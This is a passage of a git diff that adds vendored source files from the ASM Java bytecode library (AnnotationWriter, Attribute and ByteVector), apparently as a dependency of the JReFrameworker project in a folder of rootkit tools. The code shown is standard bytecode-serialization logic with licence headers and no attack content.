previousAnnotation the previously visited annotation of the + * Runtime[In]Visible[Type]Annotations attribute to which this annotation belongs, or null in + * other cases (e.g. nested or array annotations). + */ + AnnotationWriter( + final SymbolTable symbolTable, + final ByteVector annotation, + final AnnotationWriter previousAnnotation) { + this(symbolTable, /* useNamedValues = */ true, annotation, previousAnnotation); + } + + // ----------------------------------------------------------------------------------------------- + // Implementation of the AnnotationVisitor abstract class + // ----------------------------------------------------------------------------------------------- + + @Override + public void visit(final String name, final Object value) { + // Case of an element_value with a const_value_index, class_info_index or array_index field. + // See https://docs.oracle.com/javase/specs/jvms/se9/html/jvms-4.html#jvms-4.7.16.1. + ++numElementValuePairs; + if (useNamedValues) { + annotation.putShort(symbolTable.addConstantUtf8(name)); + } + if (value instanceof String) { + annotation.put12('s', symbolTable.addConstantUtf8((String) value)); + } else if (value instanceof Byte) { + annotation.put12('B', symbolTable.addConstantInteger(((Byte) value).byteValue()).index); + } else if (value instanceof Boolean) { + int booleanValue = ((Boolean) value).booleanValue() ? 1 : 0; + annotation.put12('Z', symbolTable.addConstantInteger(booleanValue).index); + } else if (value instanceof Character) { + annotation.put12('C', symbolTable.addConstantInteger(((Character) value).charValue()).index); + } else if (value instanceof Short) { + annotation.put12('S', symbolTable.addConstantInteger(((Short) value).shortValue()).index); + } else if (value instanceof Type) { + annotation.put12('c', symbolTable.addConstantUtf8(((Type) value).getDescriptor())); + } else if (value instanceof byte[]) { + byte[] byteArray = (byte[]) value; + annotation.put12('[', byteArray.length); + for (byte byteValue : byteArray) { + annotation.put12('B', symbolTable.addConstantInteger(byteValue).index); + } + } else if (value instanceof boolean[]) { + boolean[] booleanArray = (boolean[]) value; + annotation.put12('[', booleanArray.length); + for (boolean booleanValue : booleanArray) { + annotation.put12('Z', symbolTable.addConstantInteger(booleanValue ? 1 : 0).index); + } + } else if (value instanceof short[]) { + short[] shortArray = (short[]) value; + annotation.put12('[', shortArray.length); + for (short shortValue : shortArray) { + annotation.put12('S', symbolTable.addConstantInteger(shortValue).index); + } + } else if (value instanceof char[]) { + char[] charArray = (char[]) value; + annotation.put12('[', charArray.length); + for (char charValue : charArray) { + annotation.put12('C', symbolTable.addConstantInteger(charValue).index); + } + } else if (value instanceof int[]) { + int[] intArray = (int[]) value; + annotation.put12('[', intArray.length); + for (int intValue : intArray) { + annotation.put12('I', symbolTable.addConstantInteger(intValue).index); + } + } else if (value instanceof long[]) { + long[] longArray = (long[]) value; + annotation.put12('[', longArray.length); + for (long longValue : longArray) { + annotation.put12('J', symbolTable.addConstantLong(longValue).index); + } + } else if (value instanceof float[]) { + float[] floatArray = (float[]) value; + annotation.put12('[', floatArray.length); + for (float floatValue : floatArray) { + annotation.put12('F', symbolTable.addConstantFloat(floatValue).index); + } + } else if (value instanceof double[]) { + double[] doubleArray = (double[]) value; + annotation.put12('[', doubleArray.length); + for (double doubleValue : doubleArray) { + annotation.put12('D', symbolTable.addConstantDouble(doubleValue).index); + } + } else { + Symbol symbol = symbolTable.addConstant(value); + annotation.put12(".s.IFJDCS".charAt(symbol.tag), symbol.index); + } + } + + @Override + public void visitEnum(final String name, final String descriptor, final String value) { + // Case of an element_value with an enum_const_value field. + // See https://docs.oracle.com/javase/specs/jvms/se9/html/jvms-4.html#jvms-4.7.16.1. + ++numElementValuePairs; + if (useNamedValues) { + annotation.putShort(symbolTable.addConstantUtf8(name)); + } + annotation + .put12('e', symbolTable.addConstantUtf8(descriptor)) + .putShort(symbolTable.addConstantUtf8(value)); + } + + @Override + public AnnotationVisitor visitAnnotation(final String name, final String descriptor) { + // Case of an element_value with an annotation_value field. + // See https://docs.oracle.com/javase/specs/jvms/se9/html/jvms-4.html#jvms-4.7.16.1. + ++numElementValuePairs; + if (useNamedValues) { + annotation.putShort(symbolTable.addConstantUtf8(name)); + } + // Write tag and type_index, and reserve 2 bytes for num_element_value_pairs. + annotation.put12('@', symbolTable.addConstantUtf8(descriptor)).putShort(0); + return new AnnotationWriter(symbolTable, annotation, null); + } + + @Override + public AnnotationVisitor visitArray(final String name) { + // Case of an element_value with an array_value field. + // https://docs.oracle.com/javase/specs/jvms/se9/html/jvms-4.html#jvms-4.7.16.1 + ++numElementValuePairs; + if (useNamedValues) { + annotation.putShort(symbolTable.addConstantUtf8(name)); + } + // Write tag, and reserve 2 bytes for num_values. Here we take advantage of the fact that the + // end of an element_value of array type is similar to the end of an 'annotation' structure: an + // unsigned short num_values followed by num_values element_value, versus an unsigned short + // num_element_value_pairs, followed by num_element_value_pairs { element_name_index, + // element_value } tuples. This allows us to use an AnnotationWriter with unnamed values to + // visit the array elements. Its num_element_value_pairs will correspond to the number of array + // elements and will be stored in what is in fact num_values. + annotation.put12('[', 0); + return new AnnotationWriter(symbolTable, /* useNamedValues = */ false, annotation, null); + } + + @Override + public void visitEnd() { + if (numElementValuePairsOffset != -1) { + byte[] data = annotation.data; + data[numElementValuePairsOffset] = (byte) (numElementValuePairs >>> 8); + data[numElementValuePairsOffset + 1] = (byte) numElementValuePairs; + } + } + + // ----------------------------------------------------------------------------------------------- + // Utility methods + // ----------------------------------------------------------------------------------------------- + + /** + * Returns the size of a Runtime[In]Visible[Type]Annotations attribute containing this annotation + * and all its predecessors (see {@link #previousAnnotation}. Also adds the attribute name + * to the constant pool of the class (if not null). + * + * @param attributeName one of "Runtime[In]Visible[Type]Annotations", or null. + * @return the size in bytes of a Runtime[In]Visible[Type]Annotations attribute containing this + * annotation and all its predecessors. This includes the size of the attribute_name_index and + * attribute_length fields. + */ + int computeAnnotationsSize(final String attributeName) { + if (attributeName != null) { + symbolTable.addConstantUtf8(attributeName); + } + // The attribute_name_index, attribute_length and num_annotations fields use 8 bytes. + int attributeSize = 8; + AnnotationWriter annotationWriter = this; + while (annotationWriter != null) { + attributeSize += annotationWriter.annotation.length; + annotationWriter = annotationWriter.previousAnnotation; + } + return attributeSize; + } + + /** + * Puts a Runtime[In]Visible[Type]Annotations attribute containing this annotations and all its + * predecessors (see {@link #previousAnnotation} in the given ByteVector. Annotations are + * put in the same order they have been visited. + * + * @param attributeNameIndex the constant pool index of the attribute name (one of + * "Runtime[In]Visible[Type]Annotations"). + * @param output where the attribute must be put. + */ + void putAnnotations(final int attributeNameIndex, final ByteVector output) { + int attributeLength = 2; // For num_annotations. + int numAnnotations = 0; + AnnotationWriter annotationWriter = this; + AnnotationWriter firstAnnotation = null; + while (annotationWriter != null) { + // In case the user forgot to call visitEnd(). + annotationWriter.visitEnd(); + attributeLength += annotationWriter.annotation.length; + numAnnotations++; + firstAnnotation = annotationWriter; + annotationWriter = annotationWriter.previousAnnotation; + } + output.putShort(attributeNameIndex); + output.putInt(attributeLength); + output.putShort(numAnnotations); + annotationWriter = firstAnnotation; + while (annotationWriter != null) { + output.putByteArray(annotationWriter.annotation.data, 0, annotationWriter.annotation.length); + annotationWriter = annotationWriter.nextAnnotation; + } + } + + /** + * Returns the size of a Runtime[In]VisibleParameterAnnotations attribute containing all the + * annotation lists from the given AnnotationWriter sub-array. Also adds the attribute name to the + * constant pool of the class. + * + * @param attributeName one of "Runtime[In]VisibleParameterAnnotations". + * @param annotationWriters an array of AnnotationWriter lists (designated by their last + * element). + * @param annotableParameterCount the number of elements in annotationWriters to take into account + * (elements [0..annotableParameterCount[ are taken into account). + * @return the size in bytes of a Runtime[In]VisibleParameterAnnotations attribute corresponding + * to the given sub-array of AnnotationWriter lists. This includes the size of the + * attribute_name_index and attribute_length fields. + */ + static int computeParameterAnnotationsSize( + final String attributeName, + final AnnotationWriter[] annotationWriters, + final int annotableParameterCount) { + // Note: attributeName is added to the constant pool by the call to computeAnnotationsSize + // below. This assumes that there is at least one non-null element in the annotationWriters + // sub-array (which is ensured by the lazy instantiation of this array in MethodWriter). + // The attribute_name_index, attribute_length and num_parameters fields use 7 bytes, and each + // element of the parameter_annotations array uses 2 bytes for its num_annotations field. + int attributeSize = 7 + 2 * annotableParameterCount; + for (int i = 0; i < annotableParameterCount; ++i) { + AnnotationWriter annotationWriter = annotationWriters[i]; + attributeSize += + annotationWriter == null ? 0 : annotationWriter.computeAnnotationsSize(attributeName) - 8; + } + return attributeSize; + } + + /** + * Puts a Runtime[In]VisibleParameterAnnotations attribute containing all the annotation lists + * from the given AnnotationWriter sub-array in the given ByteVector. + * + * @param attributeNameIndex constant pool index of the attribute name (one of + * Runtime[In]VisibleParameterAnnotations). + * @param annotationWriters an array of AnnotationWriter lists (designated by their last + * element). + * @param annotableParameterCount the number of elements in annotationWriters to put (elements + * [0..annotableParameterCount[ are put). + * @param output where the attribute must be put. + */ + static void putParameterAnnotations( + final int attributeNameIndex, + final AnnotationWriter[] annotationWriters, + final int annotableParameterCount, + final ByteVector output) { + // The num_parameters field uses 1 byte, and each element of the parameter_annotations array + // uses 2 bytes for its num_annotations field. + int attributeLength = 1 + 2 * annotableParameterCount; + for (int i = 0; i < annotableParameterCount; ++i) { + AnnotationWriter annotationWriter = annotationWriters[i]; + attributeLength += + annotationWriter == null ? 0 : annotationWriter.computeAnnotationsSize(null) - 8; + } + output.putShort(attributeNameIndex); + output.putInt(attributeLength); + output.putByte(annotableParameterCount); + for (int i = 0; i < annotableParameterCount; ++i) { + AnnotationWriter annotationWriter = annotationWriters[i]; + AnnotationWriter firstAnnotation = null; + int numAnnotations = 0; + while (annotationWriter != null) { + // In case user the forgot to call visitEnd(). + annotationWriter.visitEnd(); + numAnnotations++; + firstAnnotation = annotationWriter; + annotationWriter = annotationWriter.previousAnnotation; + } + output.putShort(numAnnotations); + annotationWriter = firstAnnotation; + while (annotationWriter != null) { + output.putByteArray( + annotationWriter.annotation.data, 0, annotationWriter.annotation.length); + annotationWriter = annotationWriter.nextAnnotation; + } + } + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/Attribute.java b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/Attribute.java new file mode 100644 index 0000000..b3a8325 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/Attribute.java @@ -0,0 +1,325 @@ +// ASM: a very small and fast Java bytecode manipulation framework +// Copyright (c) 2000-2011 INRIA, France Telecom +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without +// modification, are permitted provided that the following conditions +// are met: +// 1. Redistributions of source code must retain the above copyright +// notice, this list of conditions and the following disclaimer. +// 2. Redistributions in binary form must reproduce the above copyright +// notice, this list of conditions and the following disclaimer in the +// documentation and/or other materials provided with the distribution. +// 3. Neither the name of the copyright holders nor the names of its +// contributors may be used to endorse or promote products derived from +// this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE +// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF +// THE POSSIBILITY OF SUCH DAMAGE. +package org.objectweb.asm; + +/** + * A non standard class, field, method or code attribute, as defined in the Java Virtual Machine + * Specification (JVMS). + * + * @see JVMS + * 4.7 + * @see JVMS + * 4.7.3 + * @author Eric Bruneton + * @author Eugene Kuleshov + */ +public class Attribute { + + /** The type of this attribute, also called its name in the JVMS. */ + public final String type; + + /** + * The raw content of this attribute, only used for unknown attributes (see {@link #isUnknown()}). + * The 6 header bytes of the attribute (attribute_name_index and attribute_length) are not + * included. + */ + private byte[] content; + + /** + * The next attribute in this attribute list (Attribute instances can be linked via this field to + * store a list of class, field, method or code attributes). May be {@literal null}. + */ + Attribute nextAttribute; + + /** + * Constructs a new empty attribute. + * + * @param type the type of the attribute. + */ + protected Attribute(final String type) { + this.type = type; + } + + /** + * Returns {@literal true} if this type of attribute is unknown. This means that the attribute + * content can't be parsed to extract constant pool references, labels, etc. Instead, the + * attribute content is read as an opaque byte array, and written back as is. This can lead to + * invalid attributes, if the content actually contains constant pool references, labels, or other + * symbolic references that need to be updated when there are changes to the constant pool, the + * method bytecode, etc. The default implementation of this method always returns {@literal true}. + * + * @return {@literal true} if this type of attribute is unknown. + */ + public boolean isUnknown() { + return true; + } + + /** + * Returns {@literal true} if this type of attribute is a code attribute. + * + * @return {@literal true} if this type of attribute is a code attribute. + */ + public boolean isCodeAttribute() { + return false; + } + + /** + * Returns the labels corresponding to this attribute. + * + * @return the labels corresponding to this attribute, or {@literal null} if this attribute is not + * a code attribute that contains labels. + */ + protected Label[] getLabels() { + return new Label[0]; + } + + /** + * Reads a {@link #type} attribute. This method must return a new {@link Attribute} object, + * of type {@link #type}, corresponding to the 'length' bytes starting at 'offset', in the given + * ClassReader. + * + * @param classReader the class that contains the attribute to be read. + * @param offset index of the first byte of the attribute's content in {@link ClassReader#b}. The + * 6 attribute header bytes (attribute_name_index and attribute_length) are not taken into + * account here. + * @param length the length of the attribute's content (excluding the 6 attribute header bytes). + * @param charBuffer the buffer to be used to call the ClassReader methods requiring a + * 'charBuffer' parameter. + * @param codeAttributeOffset index of the first byte of content of the enclosing Code attribute + * in {@link ClassReader#b}, or -1 if the attribute to be read is not a code attribute. The 6 + * attribute header bytes (attribute_name_index and attribute_length) are not taken into + * account here. + * @param labels the labels of the method's code, or {@literal null} if the attribute to be read + * is not a code attribute. + * @return a new {@link Attribute} object corresponding to the specified bytes. + */ + protected Attribute read( + final ClassReader classReader, + final int offset, + final int length, + final char[] charBuffer, + final int codeAttributeOffset, + final Label[] labels) { + Attribute attribute = new Attribute(type); + attribute.content = new byte[length]; + System.arraycopy(classReader.b, offset, attribute.content, 0, length); + return attribute; + } + + /** + * Returns the byte array form of the content of this attribute. The 6 header bytes + * (attribute_name_index and attribute_length) must not be added in the returned + * ByteVector. + * + * @param classWriter the class to which this attribute must be added. This parameter can be used + * to add the items that corresponds to this attribute to the constant pool of this class. + * @param code the bytecode of the method corresponding to this code attribute, or {@literal null} + * if this attribute is not a code attribute. Corresponds to the 'code' field of the Code + * attribute. + * @param codeLength the length of the bytecode of the method corresponding to this code + * attribute, or 0 if this attribute is not a code attribute. Corresponds to the 'code_length' + * field of the Code attribute. + * @param maxStack the maximum stack size of the method corresponding to this code attribute, or + * -1 if this attribute is not a code attribute. + * @param maxLocals the maximum number of local variables of the method corresponding to this code + * attribute, or -1 if this attribute is not a code attribute. + * @return the byte array form of this attribute. + */ + protected ByteVector write( + final ClassWriter classWriter, + final byte[] code, + final int codeLength, + final int maxStack, + final int maxLocals) { + return new ByteVector(content); + } + + /** + * Returns the number of attributes of the attribute list that begins with this attribute. + * + * @return the number of attributes of the attribute list that begins with this attribute. + */ + final int getAttributeCount() { + int count = 0; + Attribute attribute = this; + while (attribute != null) { + count += 1; + attribute = attribute.nextAttribute; + } + return count; + } + + /** + * Returns the total size in bytes of all the attributes in the attribute list that begins with + * this attribute. This size includes the 6 header bytes (attribute_name_index and + * attribute_length) per attribute. Also adds the attribute type names to the constant pool. + * + * @param symbolTable where the constants used in the attributes must be stored. + * @return the size of all the attributes in this attribute list. This size includes the size of + * the attribute headers. + */ + final int computeAttributesSize(final SymbolTable symbolTable) { + final byte[] code = null; + final int codeLength = 0; + final int maxStack = -1; + final int maxLocals = -1; + return computeAttributesSize(symbolTable, code, codeLength, maxStack, maxLocals); + } + + /** + * Returns the total size in bytes of all the attributes in the attribute list that begins with + * this attribute. This size includes the 6 header bytes (attribute_name_index and + * attribute_length) per attribute. Also adds the attribute type names to the constant pool. + * + * @param symbolTable where the constants used in the attributes must be stored. + * @param code the bytecode of the method corresponding to these code attributes, or {@literal + * null} if they are not code attributes. Corresponds to the 'code' field of the Code + * attribute. + * @param codeLength the length of the bytecode of the method corresponding to these code + * attributes, or 0 if they are not code attributes. Corresponds to the 'code_length' field of + * the Code attribute. + * @param maxStack the maximum stack size of the method corresponding to these code attributes, or + * -1 if they are not code attributes. + * @param maxLocals the maximum number of local variables of the method corresponding to these + * code attributes, or -1 if they are not code attribute. + * @return the size of all the attributes in this attribute list. This size includes the size of + * the attribute headers. + */ + final int computeAttributesSize( + final SymbolTable symbolTable, + final byte[] code, + final int codeLength, + final int maxStack, + final int maxLocals) { + final ClassWriter classWriter = symbolTable.classWriter; + int size = 0; + Attribute attribute = this; + while (attribute != null) { + symbolTable.addConstantUtf8(attribute.type); + size += 6 + attribute.write(classWriter, code, codeLength, maxStack, maxLocals).length; + attribute = attribute.nextAttribute; + } + return size; + } + + /** + * Puts all the attributes of the attribute list that begins with this attribute, in the given + * byte vector. This includes the 6 header bytes (attribute_name_index and attribute_length) per + * attribute. + * + * @param symbolTable where the constants used in the attributes must be stored. + * @param output where the attributes must be written. + */ + final void putAttributes(final SymbolTable symbolTable, final ByteVector output) { + final byte[] code = null; + final int codeLength = 0; + final int maxStack = -1; + final int maxLocals = -1; + putAttributes(symbolTable, code, codeLength, maxStack, maxLocals, output); + } + + /** + * Puts all the attributes of the attribute list that begins with this attribute, in the given + * byte vector. This includes the 6 header bytes (attribute_name_index and attribute_length) per + * attribute. + * + * @param symbolTable where the constants used in the attributes must be stored. + * @param code the bytecode of the method corresponding to these code attributes, or {@literal + * null} if they are not code attributes. Corresponds to the 'code' field of the Code + * attribute. + * @param codeLength the length of the bytecode of the method corresponding to these code + * attributes, or 0 if they are not code attributes. Corresponds to the 'code_length' field of + * the Code attribute. + * @param maxStack the maximum stack size of the method corresponding to these code attributes, or + * -1 if they are not code attributes. + * @param maxLocals the maximum number of local variables of the method corresponding to these + * code attributes, or -1 if they are not code attribute. + * @param output where the attributes must be written. + */ + final void putAttributes( + final SymbolTable symbolTable, + final byte[] code, + final int codeLength, + final int maxStack, + final int maxLocals, + final ByteVector output) { + final ClassWriter classWriter = symbolTable.classWriter; + Attribute attribute = this; + while (attribute != null) { + ByteVector attributeContent = + attribute.write(classWriter, code, codeLength, maxStack, maxLocals); + // Put attribute_name_index and attribute_length. + output.putShort(symbolTable.addConstantUtf8(attribute.type)).putInt(attributeContent.length); + output.putByteArray(attributeContent.data, 0, attributeContent.length); + attribute = attribute.nextAttribute; + } + } + + /** A set of attribute prototypes (attributes with the same type are considered equal). */ + static final class Set { + + private static final int SIZE_INCREMENT = 6; + + private int size; + private Attribute[] data = new Attribute[SIZE_INCREMENT]; + + void addAttributes(final Attribute attributeList) { + Attribute attribute = attributeList; + while (attribute != null) { + if (!contains(attribute)) { + add(attribute); + } + attribute = attribute.nextAttribute; + } + } + + Attribute[] toArray() { + Attribute[] result = new Attribute[size]; + System.arraycopy(data, 0, result, 0, size); + return result; + } + + private boolean contains(final Attribute attribute) { + for (int i = 0; i < size; ++i) { + if (data[i].type.equals(attribute.type)) { + return true; + } + } + return false; + } + + private void add(final Attribute attribute) { + if (size >= data.length) { + Attribute[] newData = new Attribute[data.length + SIZE_INCREMENT]; + System.arraycopy(data, 0, newData, 0, size); + data = newData; + } + data[size++] = attribute; + } + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/ByteVector.java b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/ByteVector.java new file mode 100644 index 0000000..9db8956 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/ByteVector.java @@ -0,0 +1,361 @@ +// ASM: a very small and fast Java bytecode manipulation framework +// Copyright (c) 2000-2011 INRIA, France Telecom +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without +// modification, are permitted provided that the following conditions +// are met: +// 1. Redistributions of source code must retain the above copyright +// notice, this list of conditions and the following disclaimer. +// 2. Redistributions in binary form must reproduce the above copyright +// notice, this list of conditions and the following disclaimer in the +// documentation and/or other materials provided with the distribution. +// 3. Neither the name of the copyright holders nor the names of its +// contributors may be used to endorse or promote products derived from +// this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE +// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF +// THE POSSIBILITY OF SUCH DAMAGE. +package org.objectweb.asm; + +/** + * A dynamically extensible vector of bytes. This class is roughly equivalent to a DataOutputStream + * on top of a ByteArrayOutputStream, but is more efficient. + * + * @author Eric Bruneton + */ +public class ByteVector { + + /** The content of this vector. Only the first {@link #length} bytes contain real data. */ + byte[] data; + + /** The actual number of bytes in this vector. */ + int length; + + /** Constructs a new {@link ByteVector} with a default initial capacity. */ + public ByteVector() { + data = new byte[64]; + } + + /** + * Constructs a new {@link ByteVector} with the given initial capacity. + * + * @param initialCapacity the initial capacity of the byte vector to be constructed. + */ + public ByteVector(final int initialCapacity) { + data = new byte[initialCapacity]; + } + + /** + * Constructs a new {@link ByteVector} from the given initial data. + * + * @param data the initial data of the new byte vector. + */ + ByteVector(final byte[] data) { + this.data = data; + this.length = data.length; + } + + /** + * Puts a byte into this byte vector. The byte vector is automatically enlarged if necessary. + * + * @param byteValue a byte. + * @return this byte vector. + */ + public ByteVector putByte(final int byteValue) { + int currentLength = length; + if (currentLength + 1 > data.length) { + enlarge(1); + } + data[currentLength++] = (byte) byteValue; + length = currentLength; + return this; + } + + /** + * Puts two bytes into this byte vector. The byte vector is automatically enlarged if necessary. + * + * @param byteValue1 a byte. + * @param byteValue2 another byte. + * @return this byte vector. + */ + final ByteVector put11(final int byteValue1, final int byteValue2) { + int currentLength = length; + if (currentLength + 2 > data.length) { + enlarge(2); + } + byte[] currentData = data; + currentData[currentLength++] = (byte) byteValue1; + currentData[currentLength++] = (byte) byteValue2; + length = currentLength; + return this; + } + + /** + * Puts a short into this byte vector. The byte vector is automatically enlarged if necessary. + * + * @param shortValue a short. + * @return this byte vector. + */ + public ByteVector putShort(final int shortValue) { + int currentLength = length; + if (currentLength + 2 > data.length) { + enlarge(2); + } + byte[] currentData = data; + currentData[currentLength++] = (byte) (shortValue >>> 8); + currentData[currentLength++] = (byte) shortValue; + length = currentLength; + return this; + } + + /** + * Puts a byte and a short into this byte vector. The byte vector is automatically enlarged if + * necessary. + * + * @param byteValue a byte. + * @param shortValue a short. + * @return this byte vector. + */ + final ByteVector put12(final int byteValue, final int shortValue) { + int currentLength = length; + if (currentLength + 3 > data.length) { + enlarge(3); + } + byte[] currentData = data; + currentData[currentLength++] = (byte) byteValue; + currentData[currentLength++] = (byte) (shortValue >>> 8); + currentData[currentLength++] = (byte) shortValue; + length = currentLength; + return this; + } + + /** + * Puts two bytes and a short into this byte vector. The byte vector is automatically enlarged if + * necessary. + * + * @param byteValue1 a byte. + * @param byteValue2 another byte. + * @param shortValue a short. + * @return this byte vector. + */ + final ByteVector put112(final int byteValue1, final int byteValue2, final int shortValue) { + int currentLength = length; + if (currentLength + 4 > data.length) { + enlarge(4); + } + byte[] currentData = data; + currentData[currentLength++] = (byte) byteValue1; + currentData[currentLength++] = (byte) byteValue2; + currentData[currentLength++] = (byte) (shortValue >>> 8); + currentData[currentLength++] = (byte) shortValue; + length = currentLength; + return this; + } + + /** + * Puts an int into this byte vector. The byte vector is automatically enlarged if necessary. + * + * @param intValue an int. + * @return this byte vector. + */ + public ByteVector putInt(final int intValue) { + int currentLength = length; + if (currentLength + 4 > data.length) { + enlarge(4); + } + byte[] currentData = data; + currentData[currentLength++] = (byte) (intValue >>> 24); + currentData[currentLength++] = (byte) (intValue >>> 16); + currentData[currentLength++] = (byte) (intValue >>> 8); + currentData[currentLength++] = (byte) intValue; + length = currentLength; + return this; + } + + /** + * Puts one byte and two shorts into this byte vector. The byte vector is automatically enlarged + * if necessary. + * + * @param byteValue a byte. + * @param shortValue1 a short. + * @param shortValue2 another short. + * @return this byte vector. + */ + final ByteVector put122(final int byteValue, final int shortValue1, final int shortValue2) { + int currentLength = length; + if (currentLength + 5 > data.length) { + enlarge(5); + } + byte[] currentData = data; + currentData[currentLength++] = (byte) byteValue; + currentData[currentLength++] = (byte) (shortValue1 >>> 8); + currentData[currentLength++] = (byte) shortValue1; + currentData[currentLength++] = (byte) (shortValue2 >>> 8); + currentData[currentLength++] = (byte) shortValue2; + length = currentLength; + return this; + } + + /** + * Puts a long into this byte vector. The byte vector is automatically enlarged if necessary. + * + * @param longValue a long. + * @return this byte vector. + */ + public ByteVector putLong(final long longValue) { + int currentLength = length; + if (currentLength + 8 > data.length) { + enlarge(8); + } + byte[] currentData = data; + int intValue = (int) (longValue >>> 32); + currentData[currentLength++] = (byte) (intValue >>> 24); + currentData[currentLength++] = (byte) (intValue >>> 16); + currentData[currentLength++] = (byte) (intValue >>> 8); + currentData[currentLength++] = (byte) intValue; + intValue = (int) longValue; + currentData[currentLength++] = (byte) (intValue >>> 24); + currentData[currentLength++] = (byte) (intValue >>> 16); + currentData[currentLength++] = (byte) (intValue >>> 8); + currentData[currentLength++] = (byte) intValue; + length = currentLength; + return this; + } + + /** + * Puts an UTF8 string into this byte vector. The byte vector is automatically enlarged if + * necessary. + * + * @param stringValue a String whose UTF8 encoded length must be less than 65536. + * @return this byte vector. + */ + // DontCheck(AbbreviationAsWordInName): can't be renamed (for backward binary compatibility). + public ByteVector putUTF8(final String stringValue) { + int charLength = stringValue.length(); + if (charLength > 65535) { + throw new IllegalArgumentException("UTF8 string too large"); + } + int currentLength = length; + if (currentLength + 2 + charLength > data.length) { + enlarge(2 + charLength); + } + byte[] currentData = data; + // Optimistic algorithm: instead of computing the byte length and then serializing the string + // (which requires two loops), we assume the byte length is equal to char length (which is the + // most frequent case), and we start serializing the string right away. During the + // serialization, if we find that this assumption is wrong, we continue with the general method. + currentData[currentLength++] = (byte) (charLength >>> 8); + currentData[currentLength++] = (byte) charLength; + for (int i = 0; i < charLength; ++i) { + char charValue = stringValue.charAt(i); + if (charValue >= '\u0001' && charValue <= '\u007F') { + currentData[currentLength++] = (byte) charValue; + } else { + length = currentLength; + return encodeUtf8(stringValue, i, 65535); + } + } + length = currentLength; + return this; + } + + /** + * Puts an UTF8 string into this byte vector. The byte vector is automatically enlarged if + * necessary. The string length is encoded in two bytes before the encoded characters, if there is + * space for that (i.e. if this.length - offset - 2 >= 0). + * + * @param stringValue the String to encode. + * @param offset the index of the first character to encode. The previous characters are supposed + * to have already been encoded, using only one byte per character. + * @param maxByteLength the maximum byte length of the encoded string, including the already + * encoded characters. + * @return this byte vector. + */ + final ByteVector encodeUtf8(final String stringValue, final int offset, final int maxByteLength) { + int charLength = stringValue.length(); + int byteLength = offset; + for (int i = offset; i < charLength; ++i) { + char charValue = stringValue.charAt(i); + if (charValue >= 0x0001 && charValue <= 0x007F) { + byteLength++; + } else if (charValue <= 0x07FF) { + byteLength += 2; + } else { + byteLength += 3; + } + } + if (byteLength > maxByteLength) { + throw new IllegalArgumentException("UTF8 string too large"); + } + // Compute where 'byteLength' must be stored in 'data', and store it at this location. + int byteLengthOffset = length - offset - 2; + if (byteLengthOffset >= 0) { + data[byteLengthOffset] = (byte) (byteLength >>> 8); + data[byteLengthOffset + 1] = (byte) byteLength; + } + if (length + byteLength - offset > data.length) { + enlarge(byteLength - offset); + } + int currentLength = length; + for (int i = offset; i < charLength; ++i) { + char charValue = stringValue.charAt(i); + if (charValue >= 0x0001 && charValue <= 0x007F) { + data[currentLength++] = (byte) charValue; + } else if (charValue <= 0x07FF) { + data[currentLength++] = (byte) (0xC0 | charValue >> 6 & 0x1F); + data[currentLength++] = (byte) (0x80 | charValue & 0x3F); + } else { + data[currentLength++] = (byte) (0xE0 | charValue >> 12 & 0xF); + data[currentLength++] = (byte) (0x80 | charValue >> 6 & 0x3F); + data[currentLength++] = (byte) (0x80 | charValue & 0x3F); + } + } + length = currentLength; + return this; + } + + /** + * Puts an array of bytes into this byte vector. The byte vector is automatically enlarged if + * necessary. + * + * @param byteArrayValue an array of bytes. May be {@literal null} to put {@code byteLength} null + * bytes into this byte vector. + * @param byteOffset index of the first byte of byteArrayValue that must be copied. + * @param byteLength number of bytes of byteArrayValue that must be copied. + * @return this byte vector. + */ + public ByteVector putByteArray( + final byte[] byteArrayValue, final int byteOffset, final int byteLength) { + if (length + byteLength > data.length) { + enlarge(byteLength); + } + if (byteArrayValue != null) { + System.arraycopy(byteArrayValue, byteOffset, data, length, 